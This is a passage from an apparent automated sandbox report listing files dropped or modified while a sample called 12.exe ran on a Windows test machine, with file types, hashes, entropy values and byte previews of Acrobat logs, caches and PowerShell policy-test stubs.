er"},"mimeType":"file","size":1255,"ts":1696426848000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"78ee

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9861621276488322
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpsO4zJwtNBwtNbRZ6bRZ4/OF:TVl2GL7ms6ggOVpYzutYtp6Pv
MD5:	C6F5075FB3EE4D487A3FE8802581D55B
SHA1:	99F793242AB2D98E9409DF5FB5BA9FFDBD6501F6
SHA-256:	4BEA7DE3A061DC2212694D72BCA85190E6D7E1E706EFA9713F3F5A15BF712364
SHA-512:	CA46DE703D53FC45879AE1A9EEA7384C12041723EC05603D50F6CC96F7B43FC888339B13F529F23135EE2B83C2AA932CD08BAD324769C7D0D423D6324728C7E6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3401884624320257
Encrypted:	false
SSDEEP:	24:7+tbAD1RZKHs/Ds/SpsOPzJwtNBwtNbRZ6bRZWf1RZKflfqLBx/XYKQvGJF7ursj:7MbGgOVpvzutYtp6PMIqll2GL7msj
MD5:	BB79CF9B2D3CE70012B9C1B9037F1449
SHA1:	932C5BC3AEF01A38F2FE01D6CAD606DBA82EA6D9
SHA-256:	B1D33A941C1B7191EDDB79A68C842060C9B777FC60A12B17C4EC78B1721D11ED
SHA-512:	65AD279C165513F9E08BE473DC4F33C7E56973D6F43C15C1410FA0A64D025ED2C5C1B5B685E31304E1B150531CF7DA9F762050BEBB6185871FED650CE68B0021
Malicious:	false
Preview:	.... .c.....8........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg43G30vDHxCI6ezf4cyIClV2QYyu:6a6TZ44ADE43GkvDHxcFHdK
MD5:	3CDCE2A543176B679B0C2B579076E3A0
SHA1:	4678D0577BBC89381B62BA9BE23ADF17524F0F72
SHA-256:	AC52D22E53C12D72C94841898D9B8E0B65CFC954E2827DE083C3285EE84455C8
SHA-512:	C6A704AA4AAC36253ED543189EF7F59C9602B46E857462CBC07B82B4A4F22AC01977C3C10717D3D210D229E8C06A615F0DBF1B324050A02EE7B656324B4FF2DC
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdR2Ca6pZlbjvwRjdHPRhAgkjDt4iWN3yBGHVQ9sQ:9rib4ZoopbjvwRjdvRNkjh4iUxsT6YpR
MD5:	6F4062C990C67D040ABC7B0F73689E66
SHA1:	93421F047B440E9F62456C3E2EC1E6C842DA6A80
SHA-256:	978EF65DE3DD792E7982FAAC8AC3C878936C94E2BCE7E17C56C604E5C68745F2
SHA-512:	729AB7D57FB7D3405110D7F3C33F15057FE7DFB6DBDFFD5BD1D9F13C12C6448A70D0C39BC646F74B6A38E1708318CD4AE3D9DB1EF148815E80C30EB0122EEA57
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Temp\MSI4bc81.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84sCl4DH:Qw946cPbiOxDlbYnuRKI97
MD5:	99234326B29C7E9EB650644817C14D96
SHA1:	EF73BE7D1A1D103B20D146C6F0C732BC7EAAAAD0
SHA-256:	8CD8FB82E5848D4917BFE01E2C792A614DF539E7A4A3F5CA9020F16C8B417095
SHA-512:	1B3846EC9807B336F48E0FEBFF248F92C8F0BB9BFEAFDD43C3F12929A44AC980134CC04F4AFE5DC0FE9EEE38FAD0F0403B593D42D3BB53220A642F2532402156
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.4./.0.1./.2.0.2.5. . .0.4.:.0.3.:.5.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_acznbf5k.1cg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_punc3jal.aso.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tbonza1i.plg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wuannyug.rbk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-14 04-03-45-465.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.370552159307773
Encrypted:	false
SSDEEP:	384:RqGH2GjYqo/XWoFhzjEqczq65iwP2SyFxiV/xJP/O+QBvOExByzS/E/GXqELXw43:4nh
MD5:	99F4E1CA04F6D9F9291FE2EC7F1BA13A
SHA1:	F2F076D8FBEBFE5A585EA342547409B890FB6E6A
SHA-256:	2F63289626012882856AE47BB095A6E2FB345C74A599147350C5B594F403B8C7
SHA-512:	056B8412E3D73F0CDB8B32A132151959B68D1168512BBC7E0BD93843A8B51C1D17DA9E38071B919D397EB0A46132ABBECAF0A44AC3B788BE1F443CD189D3D425
Malicious:	false
Preview:	SessionID=3fb27aca-123d-443c-81d2-07995cf4219f.1736845425484 Timestamp=2025-01-14T04:03:45:484-0500 ThreadID=6508 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=3fb27aca-123d-443c-81d2-07995cf4219f.1736845425484 Timestamp=2025-01-14T04:03:45:485-0500 ThreadID=6508 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=3fb27aca-123d-443c-81d2-07995cf4219f.1736845425484 Timestamp=2025-01-14T04:03:45:485-0500 ThreadID=6508 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=3fb27aca-123d-443c-81d2-07995cf4219f.1736845425484 Timestamp=2025-01-14T04:03:45:485-0500 ThreadID=6508 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=3fb27aca-123d-443c-81d2-07995cf4219f.1736845425484 Timestamp=2025-01-14T04:03:45:485-0500 ThreadID=6508 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.393330645865507
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbA:0
MD5:	EA41D10DC5984D69CF8EF36E75673F2C
SHA1:	B30BD847701A42CCF53B8C3DC807D1475B0DA68A
SHA-256:	8990B37C96BDE10F0DCC0F50AAEF0B293918CDD8E3619D6AC165705B4078EA71
SHA-512:	884589BCA4AA23300BF54F847CFB69271192E0BBAA678369E64F48C9083A0AD9621AC1DBFB161706822BC3848EA1307DED07F1EB63BC41B4F9146D053385DCC5
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\96c9a772-1083-409a-b9a7-c94e24e65798.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a6a29fc9-6abc-40b7-9cfe-46afa6c6bc79.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\eff67751-f302-48d6-a840-dc24514e5788.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f7b49498-8b22-47fd-bcc9-346d574eeff2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\file.pdf

Download File

Process:	C:\Users\user\Desktop\12.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:Imvn:IY
MD5:	B491DE58BA84D5E12333A236ADD6DDB5
SHA1:	EEBE4E01AA9B893BFFF8BF5A8CD9A0BA1D939D44
SHA-256:	0716F9264C9FE19F5D7455276107F3DDCC1D3497F63D60689A73558AE8A1BF5E
SHA-512:	BC3A2934AEF2582C7DBF748F46DCB6BE3A70F43B6DD335EFEDDA0AC12DB31B0A4C4E4EECF2798A9B4400A5EE5EDA9CFCD9AEA4285BD9703DF6D2498F3D4A477A
Malicious:	false
Preview:	%PDF-1.7.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.696317117414588
Encrypted:	false
SSDEEP:	96:gTffzq0vCYMokkvhkvCCta2B02OYUHx2B02OYVHC:g/gTa2Bg2Bu
MD5:	0A9D5FAE106955334C786D06F9799085
SHA1:	A91AF9A87FA319F21BFB4D42D99256986114A29B
SHA-256:	720409B429A8C6370C352A449A11CBF1A0E30992FB080518726794466E0FFD2F
SHA-512:	F279E3BB403B90BF7DB642B662C643CCBDDC5DD31706080EE86FB1A46A1A27FDA37AC93DFDE53FD4AC0A3451F3D9F77DD486E21CB819F472FFB80F99EC668F3F
Malicious:	false
Preview:	...................................FL..................F.".. ...d........s....z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M...... ./cf....B4cf......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.ZnH....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......ZqH..Roaming.@......DWSl.ZqH....C.....................^/..R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl.ZnH....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSl.ZnH....E.....................T...W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl.ZnH....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl.ZnH....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlDW.n....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\I9SIX4WUCUL60PKT3E10.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.696317117414588
Encrypted:	false
SSDEEP:	96:gTffzq0vCYMokkvhkvCCta2B02OYUHx2B02OYVHC:g/gTa2Bg2Bu
MD5:	0A9D5FAE106955334C786D06F9799085
SHA1:	A91AF9A87FA319F21BFB4D42D99256986114A29B
SHA-256:	720409B429A8C6370C352A449A11CBF1A0E30992FB080518726794466E0FFD2F
SHA-512:	F279E3BB403B90BF7DB642B662C643CCBDDC5DD31706080EE86FB1A46A1A27FDA37AC93DFDE53FD4AC0A3451F3D9F77DD486E21CB819F472FFB80F99EC668F3F
Malicious:	false
